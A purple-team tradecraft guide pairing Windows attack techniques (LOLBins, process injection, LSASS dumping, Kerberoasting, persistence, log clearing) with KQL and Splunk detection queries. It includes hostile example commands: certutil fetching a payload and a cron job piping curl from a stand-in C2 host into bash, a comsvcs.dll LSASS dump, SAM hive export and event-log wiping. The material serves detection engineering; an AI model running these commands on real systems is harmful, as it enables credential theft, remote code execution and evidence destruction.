Red Team Tradecraft Guide¶
Overview¶
This guide is a dual-perspective tradecraft reference — every offensive technique is immediately paired with its defensive detection. The philosophy is simple: you cannot defend what you do not understand. Red teams exist to prove that theoretical risks are practical realities, and blue teams use that proof to build detections that actually work.
This is not a tool tutorial. This is a technique-level reference that maps adversary tradecraft to telemetry sources, detection logic, and MITRE ATT&CK taxonomy. Every code sample uses 100% synthetic data and is designed for educational purple team exercises — never for weaponization.
How to Use This Guide
- Red teamers: Use the technique descriptions to understand the detection surface you create. Build your tradecraft around minimizing these indicators.
- Blue teamers: Use the detection queries as starting points. Every query needs tuning to your environment's baseline.
- Purple teams: Walk through each section together. Red executes, blue detects, both document gaps. Reference the Purple Team Exercise Library for structured exercises.
Prerequisites: Familiarity with Chapter 17: Red Team Operations, Chapter 41: Red Team Methodology, and Chapter 4: Detection Engineering.
Related resources:
- Chapter 16: Penetration Testing Methodology
- Chapter 36: Purple Team Operations
- Chapter 38: Advanced Threat Hunting
- Chapter 45: Active Directory Red Teaming
- Chapter 48: Exploit Development Concepts
- ATT&CK Technique Reference
- Detection Query Library
Living Off the Land (LOTL)¶
Living off the land is the practice of using legitimate system tools — already present on every Windows endpoint — to accomplish adversary objectives. Because these binaries are signed by Microsoft and used daily by administrators, their execution blends into normal activity. The challenge for defenders is distinguishing malicious use from administrative use.
ATT&CK Mapping: T1059 (Command and Scripting Interpreter), T1218 (System Binary Proxy Execution), T1047 (Windows Management Instrumentation)
PowerShell Abuse¶
PowerShell is the most versatile LOTL tool. Adversaries use it for reconnaissance, payload delivery, lateral movement, and data exfiltration — often without ever dropping a binary to disk.
Common abuse patterns:
| Technique | Description | ATT&CK |
|---|---|---|
| Encoded commands | Base64-encoded command lines to obscure intent | T1059.001 |
| Download cradles | IEX (New-Object Net.WebClient).DownloadString() patterns | T1059.001 |
| AMSI bypass concepts | Techniques to disable the Antimalware Scan Interface before payload execution | T1562.001 |
| Constrained Language Mode bypass | Escaping PowerShell's restricted execution mode | T1059.001 |
| PowerShell without powershell.exe | Using System.Management.Automation DLL directly | T1059.001 |
Educational Context
AMSI bypass techniques are documented here so defenders understand what to monitor. The concept involves modifying the in-memory AMSI scanning buffer to prevent script inspection. Defenders should monitor for amsiInitFailed strings and suspicious System.Management.Automation loads outside of powershell.exe.
Synthetic example — encoded command execution:
# Adversary encodes a reconnaissance command
# Original: Get-Process | Where-Object {$_.CPU -gt 100}
powershell.exe -EncodedCommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBDAFAAVQAgAC0AZwB0ACAAMQAwADAAfQA=
Detection — PowerShell abuse:
// Detect encoded PowerShell command execution
DeviceProcessEvents
| where FileName =~ "powershell.exe" or FileName =~ "pwsh.exe"
| where ProcessCommandLine has_any (
"-EncodedCommand", "-enc", "-e ",
"-WindowStyle Hidden", "-w hidden",
"FromBase64String", "IEX", "Invoke-Expression",
"DownloadString", "DownloadFile",
"Net.WebClient", "Net.Sockets",
"Invoke-WebRequest", "iwr",
"Start-BitsTransfer"
)
| project Timestamp, DeviceName, AccountName,
ProcessCommandLine, InitiatingProcessFileName
| sort by Timestamp desc
index=windows sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=1
(Image="*\\powershell.exe" OR Image="*\\pwsh.exe")
(CommandLine="*-EncodedCommand*" OR CommandLine="*-enc *"
OR CommandLine="*FromBase64String*" OR CommandLine="*IEX*"
OR CommandLine="*DownloadString*" OR CommandLine="*Net.WebClient*")
| table _time, Computer, User, CommandLine, ParentImage
| sort -_time
Key Sysmon Event IDs:
| EventID | Description | Relevance |
|---|---|---|
| 1 | Process creation | Captures command line arguments |
| 7 | Image loaded | Detects System.Management.Automation.dll in unusual processes |
| 8 | CreateRemoteThread | Detects injection into PowerShell processes |
WMI/CIM Lateral Movement¶
Windows Management Instrumentation enables remote process execution, persistence via event subscriptions, and reconnaissance — all through a legitimate management protocol.
Synthetic example — WMI remote process creation:
# Adversary uses WMI to execute a command on a remote host
# All IPs and hostnames are synthetic (RFC 5737 / example.com)
Invoke-WmiMethod -ComputerName dc01.corp.example.com `
-Class Win32_Process -Name Create `
-ArgumentList "cmd.exe /c whoami > C:\Windows\Temp\output.txt" `
-Credential (Get-Credential)
# Credential prompt: testuser / REDACTED
Detection — WMI lateral movement:
// Detect WMI-based remote process creation
DeviceProcessEvents
| where InitiatingProcessFileName in~ ("wmiprvse.exe", "scrcons.exe")
| where FileName !in~ ("WmiPrvSE.exe", "mofcomp.exe")
| project Timestamp, DeviceName, AccountName, FileName,
ProcessCommandLine, InitiatingProcessCommandLine
| sort by Timestamp desc
ATT&CK: T1047 (Windows Management Instrumentation)
LOLBins (Living Off the Land Binaries)¶
LOLBins are legitimate Windows binaries that can be abused for downloading, executing, or proxying malicious payloads. The LOLBAS Project catalogs hundreds of these.
| LOLBin | Abuse Case | ATT&CK | Detection Priority |
|---|---|---|---|
certutil.exe | Download files, encode/decode payloads | T1218, T1140 | High |
mshta.exe | Execute HTA files containing scripts | T1218.005 | High |
rundll32.exe | Execute DLL exports, proxy execution | T1218.011 | High |
regsvr32.exe | Execute COM scriptlets (Squiblydoo) | T1218.010 | High |
msiexec.exe | Install remote MSI packages | T1218.007 | Medium |
bitsadmin.exe | Download files via BITS | T1197 | Medium |
cmstp.exe | Bypass UAC, execute INF-based scripts | T1218.003 | Medium |
wmic.exe | Execute XSL stylesheets remotely | T1220 | Medium |
Synthetic example — certutil download:
REM Adversary uses certutil to download a payload from a synthetic C2 server
certutil.exe -urlcache -split -f "https://c2.example.com/payload.txt" C:\Windows\Temp\payload.txt
certutil.exe -decode C:\Windows\Temp\payload.txt C:\Windows\Temp\payload.exe
Detection — LOLBin abuse (comprehensive):
// Detect LOLBin abuse across multiple binaries
let LOLBins = dynamic([
"certutil.exe", "mshta.exe", "rundll32.exe",
"regsvr32.exe", "msiexec.exe", "bitsadmin.exe",
"cmstp.exe", "wmic.exe"
]);
DeviceProcessEvents
| where FileName in~ (LOLBins)
| where ProcessCommandLine has_any (
"urlcache", "-decode", "-encode", // certutil
"javascript:", "vbscript:", ".hta", // mshta
"http://", "https://", "\\\\", // remote resources
"/i:http", "scrobj.dll", // regsvr32 squiblydoo
"/q /i", "msiexec /q", // silent msiexec
"transfer", "/download", // bitsadmin
"/s /n /u", "/ni", // cmstp
"format:\"", "os get" // wmic XSL
)
| project Timestamp, DeviceName, AccountName, FileName,
ProcessCommandLine, InitiatingProcessFileName
| sort by Timestamp desc
index=windows sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=1
(Image="*\\certutil.exe" OR Image="*\\mshta.exe" OR Image="*\\rundll32.exe"
OR Image="*\\regsvr32.exe" OR Image="*\\msiexec.exe" OR Image="*\\bitsadmin.exe"
OR Image="*\\cmstp.exe" OR Image="*\\wmic.exe")
(CommandLine="*urlcache*" OR CommandLine="*-decode*" OR CommandLine="*javascript:*"
OR CommandLine="*http://*" OR CommandLine="*https://*" OR CommandLine="*scrobj.dll*"
OR CommandLine="*/q /i*" OR CommandLine="*transfer*" OR CommandLine="*format:*")
| table _time, Computer, User, Image, CommandLine, ParentImage
| sort -_time
Process Injection Techniques¶
Process injection allows adversaries to execute code within the address space of another (often legitimate) process. This achieves defense evasion (inheriting the target process's trust level) and privilege escalation (injecting into elevated processes).
ATT&CK Mapping: T1055 (Process Injection) and sub-techniques
Why This Matters
Process injection is the single most common defense evasion technique observed in the wild. Every major threat actor group — from APT28 to FIN7 to Lazarus — uses some form of injection. If your EDR cannot detect injection, you have a critical blind spot.
Classic DLL Injection¶
The most straightforward injection technique: allocate memory in a remote process, write a DLL path into it, and create a remote thread pointing to LoadLibrary.
Conceptual flow (T1055.001):
1. OpenProcess() → Get handle to target process (e.g., explorer.exe)
2. VirtualAllocEx() → Allocate memory in remote process
3. WriteProcessMemory() → Write DLL path string to allocated memory
4. CreateRemoteThread() → Execute LoadLibrary with DLL path as argument
Educational Only
The above is a conceptual API call chain. No working injection code is provided. Understanding the API sequence is critical for building detection logic around these Windows API calls.
Process Hollowing¶
Process hollowing (T1055.012) creates a legitimate process in a suspended state, unmaps its original code, and replaces it with malicious code before resuming execution. The process appears legitimate in task manager and process listings.
Conceptual flow:
1. CreateProcess(SUSPENDED) → Create svchost.exe (or other trusted process) suspended
2. NtUnmapViewOfSection() → Hollow out the legitimate code
3. VirtualAllocEx() → Allocate new memory in the hollowed process
4. WriteProcessMemory() → Write malicious PE into the process
5. SetThreadContext() → Update entry point to malicious code
6. ResumeThread() → Execute the malicious code under trusted process name
APC Injection¶
Asynchronous Procedure Call injection (T1055.004) queues a function to execute when a thread enters an alertable state. This avoids CreateRemoteThread, which many EDRs monitor closely.
Conceptual flow:
1. OpenProcess() → Target a process with alertable threads
2. VirtualAllocEx() → Allocate memory for payload
3. WriteProcessMemory() → Write payload shellcode
4. QueueUserAPC() → Queue APC to each thread in target process
5. (Wait) → Payload executes when thread enters alertable wait
Thread Hijacking¶
Thread hijacking (T1055.003) suspends an existing thread, modifies its instruction pointer to point to injected code, and resumes it. No new threads are created, making it harder to detect via thread creation monitoring.
Conceptual flow:
1. OpenThread() → Get handle to target thread
2. SuspendThread() → Pause thread execution
3. VirtualAllocEx() → Allocate memory for payload
4. WriteProcessMemory() → Write shellcode to allocated memory
5. GetThreadContext() → Save current thread context
6. SetThreadContext() → Redirect RIP/EIP to payload
7. ResumeThread() → Thread executes payload
Detection — Process Injection (All Variants)¶
The detection strategy for injection relies on monitoring the API call chain (via ETW), cross-process behavior (Sysmon Events 8 and 10), and memory anomalies (unbacked executable regions).
Key telemetry sources:
| Source | Event | What It Captures |
|---|---|---|
| Sysmon Event 8 | CreateRemoteThread | Remote thread creation (classic DLL injection) |
| Sysmon Event 10 | ProcessAccess | Cross-process handle requests with suspicious access masks |
| Sysmon Event 7 | ImageLoaded | DLL loads — look for unsigned DLLs in unusual processes |
| ETW: Microsoft-Windows-Threat-Intelligence | Multiple | Kernel-level injection monitoring (requires PPL) |
| Memory forensics | N/A | Unbacked executable memory regions (malfind in Volatility) |
// Detect cross-process injection via CreateRemoteThread (Sysmon Event 8)
DeviceEvents
| where ActionType == "CreateRemoteThreadApiCall"
| where InitiatingProcessFileName !in~ (
"csrss.exe", "lsass.exe", "services.exe", "svchost.exe"
)
| where FileName !in~ (
"csrss.exe", "lsass.exe", "services.exe"
)
| project Timestamp, DeviceName, InitiatingProcessFileName,
InitiatingProcessId, FileName, ProcessId, AccountName
| sort by Timestamp desc
// Detect suspicious process access patterns (handle requests)
DeviceEvents
| where ActionType == "OpenProcessApiCall"
| where AdditionalFields has "0x1F0FFF" // PROCESS_ALL_ACCESS
| where InitiatingProcessFileName !in~ (
"csrss.exe", "lsass.exe", "MsMpEng.exe", "svchost.exe"
)
| project Timestamp, DeviceName, InitiatingProcessFileName,
FileName, AccountName, AdditionalFields
| sort by Timestamp desc
// Sysmon Event 8 — CreateRemoteThread
index=windows sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=8
NOT SourceImage IN ("*\\csrss.exe", "*\\lsass.exe", "*\\services.exe", "*\\svchost.exe")
NOT TargetImage IN ("*\\csrss.exe", "*\\lsass.exe", "*\\services.exe")
| table _time, Computer, SourceImage, SourceProcessId, TargetImage, TargetProcessId, StartFunction
| sort -_time
// Sysmon Event 10 — Suspicious process access
index=windows sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=10
GrantedAccess="0x1F0FFF"
NOT SourceImage IN ("*\\csrss.exe", "*\\lsass.exe", "*\\MsMpEng.exe")
| table _time, Computer, SourceImage, TargetImage, GrantedAccess, CallTrace
| sort -_time
Process hollowing-specific detection:
// Detect process hollowing — process created suspended then immediately resumed
DeviceProcessEvents
| where ProcessCreationFlags has "SUSPENDED"
| join kind=inner (
DeviceEvents
| where ActionType == "SetThreadContext"
| project SetContextTime = Timestamp, ProcessId
) on ProcessId
| where SetContextTime between (Timestamp .. Timestamp + 5s)
| project Timestamp, DeviceName, FileName, ProcessCommandLine,
AccountName, SetContextTime
// Detect processes created in suspended state with thread context modification
index=windows sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=1
| eval suspiciousParent=if(
match(ParentImage, "(?i)(cmd|powershell|wscript|cscript|mshta)\.exe"),
1, 0)
| where suspiciousParent=1
| join type=inner ProcessId [
search index=windows EventCode=10
GrantedAccess IN ("0x1F0FFF", "0x001F0FFF", "0x0800")
]
| table _time, Computer, Image, ParentImage, CommandLine, GrantedAccess
Credential Access & Theft¶
Credential access is the pivot point that transforms initial access into full domain compromise. Adversaries target credentials stored in memory, on disk, in network protocols, and in authentication services.
ATT&CK Mapping: T1003 (OS Credential Dumping), T1558 (Steal or Forge Kerberos Tickets), T1557 (Adversary-in-the-Middle)
LSASS Memory Dumping¶
The Local Security Authority Subsystem Service (lsass.exe) stores plaintext passwords, NTLM hashes, and Kerberos tickets for authenticated users. Dumping LSASS memory is the fastest path to credential theft on a Windows domain.
Common methods (conceptual):
| Method | Tool/Technique | Detection Difficulty |
|---|---|---|
| Task Manager dump | Right-click → Create dump file | Low |
procdump.exe | Sysinternals tool, signed by Microsoft | Medium |
comsvcs.dll MiniDump | rundll32 comsvcs.dll, MiniDump LOLBin technique | Medium |
| Direct memory read | Custom tooling reading LSASS address space | High |
| SSP injection | Loading a malicious Security Support Provider | High |
Synthetic Example Only
The following demonstrates the LOLBin technique that defenders must detect. No actual credential extraction is shown.
REM LOLBin LSASS dump using comsvcs.dll (educational — detect this pattern)
REM Adversary first finds lsass.exe PID
tasklist /FI "IMAGENAME eq lsass.exe"
REM Then uses rundll32 to dump the process (requires SeDebugPrivilege)
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump 672 C:\Windows\Temp\dump.bin full
Detection — LSASS access:
// Detect LSASS access with suspicious access masks
DeviceEvents
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ (
"lsass.exe", "csrss.exe", "MsMpEng.exe",
"vmtoolsd.exe", "svchost.exe", "taskmgr.exe"
)
| project Timestamp, DeviceName, InitiatingProcessFileName,
InitiatingProcessCommandLine, AccountName, AdditionalFields
| sort by Timestamp desc
// Detect comsvcs.dll MiniDump LOLBin
DeviceProcessEvents
| where FileName =~ "rundll32.exe"
| where ProcessCommandLine has_all ("comsvcs", "MiniDump")
| project Timestamp, DeviceName, AccountName,
ProcessCommandLine, InitiatingProcessFileName
// Sysmon Event 10 — LSASS access monitoring
index=windows sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=10
TargetImage="*\\lsass.exe"
GrantedAccess IN ("0x1010", "0x1038", "0x1F0FFF", "0x1F1FFF", "0x143A")
NOT SourceImage IN ("*\\lsass.exe", "*\\csrss.exe", "*\\MsMpEng.exe", "*\\svchost.exe")
| table _time, Computer, SourceImage, GrantedAccess, CallTrace
| sort -_time
// Detect comsvcs.dll MiniDump
index=windows sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=1
Image="*\\rundll32.exe" CommandLine="*comsvcs*MiniDump*"
| table _time, Computer, User, CommandLine, ParentImage
Kerberoasting & AS-REP Roasting¶
Kerberoasting (T1558.003): Any authenticated domain user can request Kerberos service tickets (TGS) for accounts with Service Principal Names (SPNs). These tickets are encrypted with the service account's NTLM hash. Weak passwords can be cracked offline.
AS-REP Roasting (T1558.004): Targets accounts with Kerberos pre-authentication disabled. The attacker requests an AS-REP message that is encrypted with the user's hash — crackable offline without any authentication.
Key Windows Event IDs:
| Event ID | Log Source | Description | Detection Use |
|---|---|---|---|
| 4768 | Security | TGT requested (AS-REQ) | AS-REP roasting (encryption type 0x17 = RC4) |
| 4769 | Security | TGS requested (TGS-REQ) | Kerberoasting (encryption type 0x17, anomalous volume) |
| 4771 | Security | Kerberos pre-authentication failed | Brute force / AS-REP roasting recon |
// Detect Kerberoasting — high volume TGS requests with RC4 encryption
SecurityEvent
| where EventID == 4769
| where TicketEncryptionType == "0x17" // RC4 = weak, targeted
| where ServiceName !endswith "$" // Exclude machine accounts
| where ServiceName !in ("krbtgt", "kadmin")
| summarize RequestCount = count(), DistinctServices = dcount(ServiceName),
ServiceList = make_set(ServiceName, 20)
by TargetUserName, IpAddress, bin(TimeGenerated, 5m)
| where RequestCount > 5 or DistinctServices > 3
| sort by RequestCount desc
// Detect AS-REP Roasting — TGT requests without pre-auth
SecurityEvent
| where EventID == 4768
| where TicketEncryptionType == "0x17"
| where Status == "0x0"
| summarize RequestCount = count(),
TargetAccounts = make_set(TargetUserName, 20)
by IpAddress, bin(TimeGenerated, 10m)
| where RequestCount > 3
// Kerberoasting detection
index=windows sourcetype=WinEventLog:Security EventCode=4769
Ticket_Encryption_Type=0x17
NOT Service_Name="*$" NOT Service_Name IN ("krbtgt", "kadmin")
| stats count as RequestCount, dc(Service_Name) as DistinctSPNs,
values(Service_Name) as Services by Account_Name, Client_Address
| where RequestCount > 5 OR DistinctSPNs > 3
| sort -RequestCount
// AS-REP Roasting detection
index=windows sourcetype=WinEventLog:Security EventCode=4768
Ticket_Encryption_Type=0x17 Status=0x0
| stats count as RequestCount, values(Account_Name) as Targets
by Client_Address
| where RequestCount > 3
NTLM Relay Concepts¶
NTLM relay (T1557.001) captures NTLM authentication attempts and replays them to a different service. The attacker positions themselves between a client and server, forwarding the authentication to access resources as the victim.
Attack chain (conceptual):
1. Attacker poisons LLMNR/NBT-NS → victim sends NTLM auth to attacker
2. Attacker relays the NTLM auth to a target server (e.g., SMB, LDAP, HTTP)
3. Target server grants access believing the victim authenticated
4. Attacker gains access to target server as victim
Detection — NTLM relay indicators:
// Detect NTLM authentication from unexpected sources
SecurityEvent
| where EventID == 4624
| where AuthenticationPackageName == "NTLM"
| where LogonType in (3, 10) // Network and RemoteInteractive
| where IpAddress != ""
| summarize LoginCount = count(), DistinctTargets = dcount(Computer),
Targets = make_set(Computer, 10)
by IpAddress, TargetUserName, bin(TimeGenerated, 15m)
| where DistinctTargets > 3 // Same source authenticating to many targets
| sort by DistinctTargets desc
// NTLM relay — same source authenticating to multiple targets rapidly
index=windows sourcetype=WinEventLog:Security EventCode=4624
Authentication_Package=NTLM Logon_Type IN (3, 10)
| stats count as LoginCount, dc(host) as DistinctTargets,
values(host) as Targets
by Source_Network_Address, Account_Name
| where DistinctTargets > 3
| sort -DistinctTargets
SAM Database Extraction¶
The Security Account Manager (SAM) database stores local account password hashes. Adversaries target the SAM file, SYSTEM hive (for the decryption key), and SECURITY hive.
Common extraction methods:
- Registry save:
reg save HKLM\SAM sam.bak(T1003.002) - Volume Shadow Copy: access SAM from VSS snapshots
ntdsutil.exe: dump Active Directory database (T1003.003)
// Detect SAM/SYSTEM/SECURITY registry hive extraction
DeviceProcessEvents
| where ProcessCommandLine has_any (
"reg save", "reg.exe save"
)
| where ProcessCommandLine has_any (
"HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY",
"hklm\\sam", "hklm\\system", "hklm\\security"
)
| project Timestamp, DeviceName, AccountName,
ProcessCommandLine, InitiatingProcessFileName
| sort by Timestamp desc
// Detect ntdsutil abuse for AD database dump
DeviceProcessEvents
| where FileName =~ "ntdsutil.exe"
| where ProcessCommandLine has_any (
"ac i ntds", "ifm", "create full"
)
| project Timestamp, DeviceName, AccountName, ProcessCommandLine
// SAM/SYSTEM hive dump via reg.exe
index=windows sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=1
Image="*\\reg.exe" CommandLine="*save*"
(CommandLine="*HKLM\\SAM*" OR CommandLine="*HKLM\\SYSTEM*" OR CommandLine="*HKLM\\SECURITY*")
| table _time, Computer, User, CommandLine, ParentImage
// ntdsutil AD database dump
index=windows sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=1
Image="*\\ntdsutil.exe"
(CommandLine="*ac i ntds*" OR CommandLine="*ifm*" OR CommandLine="*create full*")
| table _time, Computer, User, CommandLine, ParentImage
Honeytoken Strategy
Deploy honeytoken accounts — fake privileged accounts with SPNs set but never used legitimately. Any Kerberos ticket request for these accounts is an immediate high-fidelity alert. See Chapter 38: Advanced Threat Hunting for honeytoken deployment strategies.
Persistence Mechanisms¶
Persistence ensures an adversary retains access across reboots, credential rotations, and partial remediation. The diversity of persistence techniques means defenders must monitor many locations simultaneously.
ATT&CK Mapping: T1547 (Boot or Logon Autostart), T1053 (Scheduled Task/Job), T1546 (Event Triggered Execution)
Registry Run Keys¶
The most common persistence mechanism. Adversaries add entries to registry keys that execute programs during user logon or system startup.
Common persistence keys:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
ATT&CK: T1547.001
// Detect registry run key modifications
DeviceRegistryEvents
| where ActionType == "RegistryValueSet"
| where RegistryKey has_any (
@"\CurrentVersion\Run",
@"\CurrentVersion\RunOnce",
@"\Policies\Explorer\Run",
@"\Winlogon\Shell",
@"\Winlogon\Userinit"
)
| where InitiatingProcessFileName !in~ (
"explorer.exe", "msiexec.exe", "setup.exe"
)
| project Timestamp, DeviceName, AccountName,
RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by Timestamp desc
index=windows sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=13
(TargetObject="*\\CurrentVersion\\Run\\*"
OR TargetObject="*\\CurrentVersion\\RunOnce\\*"
OR TargetObject="*\\Policies\\Explorer\\Run\\*"
OR TargetObject="*\\Winlogon\\Shell*"
OR TargetObject="*\\Winlogon\\Userinit*")
NOT Image IN ("*\\explorer.exe", "*\\msiexec.exe")
| table _time, Computer, Image, TargetObject, Details
| sort -_time
Scheduled Tasks & Cron Jobs¶
Windows Scheduled Tasks (T1053.005):
REM Adversary creates a scheduled task for persistence (synthetic example)
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\svc.exe" /sc onlogon /ru SYSTEM
Linux Cron Jobs (T1053.003):
# Adversary adds a cron job for persistence (synthetic example)
(crontab -l 2>/dev/null; echo "*/5 * * * * curl -s https://c2.example.com/beacon | bash") | crontab -
// Detect suspicious scheduled task creation
DeviceProcessEvents
| where FileName =~ "schtasks.exe"
| where ProcessCommandLine has "/create"
| where ProcessCommandLine has_any ("/sc onlogon", "/sc onstart", "/sc onidle",
"/ru SYSTEM", "/ru system", "Temp", "AppData")
| project Timestamp, DeviceName, AccountName,
ProcessCommandLine, InitiatingProcessFileName
| sort by Timestamp desc
// Windows Event 4698 — Task created
SecurityEvent
| where EventID == 4698
| extend TaskContent = tostring(EventData)
| where TaskContent has_any ("cmd.exe", "powershell", "Temp",
"AppData", "http://", "https://")
| project TimeGenerated, Computer, SubjectUserName, TaskContent
// Scheduled task creation via schtasks.exe
index=windows sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=1
Image="*\\schtasks.exe" CommandLine="*/create*"
(CommandLine="*/sc onlogon*" OR CommandLine="*/sc onstart*"
OR CommandLine="*/ru SYSTEM*" OR CommandLine="*Temp*" OR CommandLine="*AppData*")
| table _time, Computer, User, CommandLine, ParentImage
// Windows Security Event 4698 — Task registered
index=windows sourcetype=WinEventLog:Security EventCode=4698
| table _time, Computer, Account_Name, Task_Name, Task_Content
WMI Event Subscriptions¶
WMI event subscriptions (T1546.003) provide fileless persistence. An event filter triggers a consumer when a condition is met — surviving reboots without any files on disk.
Conceptual components:
EventFilter → "When does it trigger?" (e.g., every 60 seconds, at logon)
EventConsumer → "What does it do?" (e.g., execute a script)
FilterToConsumer → Binding that links filter to consumer
DLL Search Order Hijacking¶
DLL search order hijacking (T1574.001) places a malicious DLL in a directory that Windows searches before the legitimate DLL location. When a vulnerable application loads, it loads the attacker's DLL instead.
Windows DLL search order:
1. Directory of the application
2. System directory (C:\Windows\System32)
3. 16-bit system directory (C:\Windows\System)
4. Windows directory (C:\Windows)
5. Current working directory
6. PATH environment variable directories
// Detect DLLs loaded from unusual locations (potential hijacking)
DeviceImageLoadEvents
| where FolderPath !startswith "C:\\Windows\\System32"
and FolderPath !startswith "C:\\Windows\\SysWOW64"
and FolderPath !startswith "C:\\Program Files"
| where FileName endswith ".dll"
| where not(InitiatingProcessFileName in~ ("code.exe", "chrome.exe", "firefox.exe"))
| summarize LoadCount = count(), Processes = make_set(InitiatingProcessFileName, 5)
by FileName, FolderPath
| where LoadCount < 5 // Rare loads are suspicious
| sort by LoadCount asc
// Unusual DLL load locations (Sysmon Event 7)
index=windows sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=7
NOT ImageLoaded="C:\\Windows\\System32\\*"
NOT ImageLoaded="C:\\Windows\\SysWOW64\\*"
NOT ImageLoaded="C:\\Program Files*"
Signed=false
| stats count as LoadCount, values(Image) as LoadedBy by ImageLoaded
| where LoadCount < 5
| sort LoadCount
COM Object Hijacking¶
Component Object Model hijacking (T1546.015) modifies COM registry entries to point to attacker-controlled code. When a legitimate application instantiates the hijacked COM object, the adversary's payload executes.
// Detect COM object hijacking — CLSID registry modifications
DeviceRegistryEvents
| where ActionType == "RegistryValueSet"
| where RegistryKey has @"\Software\Classes\CLSID\"
| where RegistryKey has "InprocServer32" or RegistryKey has "LocalServer32"
| where RegistryValueData !startswith "C:\\Windows\\"
and RegistryValueData !startswith "C:\\Program Files"
| project Timestamp, DeviceName, AccountName,
RegistryKey, RegistryValueData, InitiatingProcessFileName
| sort by Timestamp desc
// COM hijacking — InprocServer32/LocalServer32 modification
index=windows sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=13
TargetObject="*\\Classes\\CLSID\\*"
(TargetObject="*InprocServer32*" OR TargetObject="*LocalServer32*")
NOT Details="C:\\Windows\\*" NOT Details="C:\\Program Files*"
| table _time, Computer, Image, TargetObject, Details
| sort -_time
Defense Evasion¶
Defense evasion techniques allow adversaries to avoid detection by security tools. These techniques target logs, timestamps, security products, and signature-based defenses.
ATT&CK Mapping: T1070 (Indicator Removal), T1562 (Impair Defenses), T1036 (Masquerading)
Timestomping¶
Timestomping (T1070.006) modifies file timestamps (created, modified, accessed) to blend malicious files into legitimate system directories. A freshly dropped payload with a timestamp from 2019 is less likely to be noticed by analysts reviewing recent file modifications.
// Detect timestomping — file creation time before PE compilation time
// Or files in system directories with recent MFT entry but old timestamps
DeviceFileEvents
| where ActionType == "FileCreated"
| where FolderPath startswith "C:\\Windows\\"
| where Timestamp > ago(7d)
| extend FileAge = datetime_diff('day', Timestamp, parse_datetime(tostring(AdditionalFields.CreationTime)))
| where FileAge > 365 // File claims to be older than 1 year but just appeared
| project Timestamp, DeviceName, FileName, FolderPath, FileAge, AccountName
// Sysmon Event 2 — File creation time changed
index=windows sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=2
TargetFilename="C:\\Windows\\*"
| eval time_diff=abs(strptime(PreviousCreationUtcTime, "%Y-%m-%d %H:%M:%S")
- strptime(CreationUtcTime, "%Y-%m-%d %H:%M:%S"))
| where time_diff > 86400 // More than 1 day difference
| table _time, Computer, Image, TargetFilename, CreationUtcTime, PreviousCreationUtcTime
Log Tampering & Clearing¶
Adversaries clear Windows Event Logs (T1070.001) or selectively delete entries to remove evidence of their activities. This is often one of the last actions before exfiltration.
Common methods:
REM Clear Security log (requires admin)
wevtutil cl Security
wevtutil cl System
wevtutil cl Application
REM PowerShell equivalent
Clear-EventLog -LogName Security, System, Application
// Detect event log clearing
SecurityEvent
| where EventID in (1102, 104) // 1102 = Security log cleared, 104 = System log cleared
| project TimeGenerated, Computer, SubjectUserName,
SubjectDomainName, EventID
| sort by TimeGenerated desc
// Detect wevtutil log clearing commands
DeviceProcessEvents
| where FileName in~ ("wevtutil.exe", "powershell.exe")
| where ProcessCommandLine has_any (
"cl Security", "cl System", "cl Application",
"Clear-EventLog", "Remove-EventLog"
)
| project Timestamp, DeviceName, AccountName,
ProcessCommandLine, InitiatingProcessFileName
// Event log cleared — Windows Security Event 1102
index=windows sourcetype=WinEventLog:Security EventCode=1102
| table _time, Computer, Account_Name, Message
| sort -_time
// wevtutil log clearing
index=windows sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=1
(Image="*\\wevtutil.exe" CommandLine="*cl *")
OR (Image="*\\powershell.exe" CommandLine="*Clear-EventLog*")
| table _time, Computer, User, CommandLine, ParentImage
Log Gap Analysis
Even if an adversary clears logs, the absence of logs is detectable. Monitor for gaps in expected log flow. If a server that normally generates 10,000 events/hour suddenly has zero events for 30 minutes, that gap itself is an indicator.
AMSI and ETW Patching Concepts¶
Advanced adversaries patch the Antimalware Scan Interface (T1562.001) and Event Tracing for Windows in memory to blind security tools. Understanding these concepts is critical for detection engineering.
What defenders should monitor:
| Indicator | Source | Description |
|---|---|---|
amsiInitFailed string in memory | EDR memory scanning | Indicates AMSI was disabled |
Modification of amsi.dll in process memory | ETW / kernel callbacks | Runtime AMSI patching |
EtwEventWrite patches | ETW / kernel callbacks | ETW tracing disabled in process |
Unusual ntdll.dll loads | Sysmon Event 7 | Unhooking / fresh NTDLL mapping |
// Detect AMSI bypass indicators in PowerShell script block logging
DeviceEvents
| where ActionType == "PowerShellCommand"
| where AdditionalFields has_any (
"amsiInitFailed", "AmsiUtils",
"amsiContext", "amsiSession",
"SetProtectedPage", "VirtualProtect"
)
| project Timestamp, DeviceName, AccountName, AdditionalFields
| sort by Timestamp desc
